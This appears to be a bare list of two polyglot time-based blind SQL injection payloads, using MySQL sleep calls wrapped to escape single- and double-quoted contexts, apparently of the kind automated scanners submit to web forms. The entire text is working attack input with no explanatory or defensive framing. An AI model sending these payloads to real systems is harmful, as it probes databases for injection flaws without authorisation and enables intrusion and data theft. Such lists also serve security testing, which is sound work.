if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/
(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/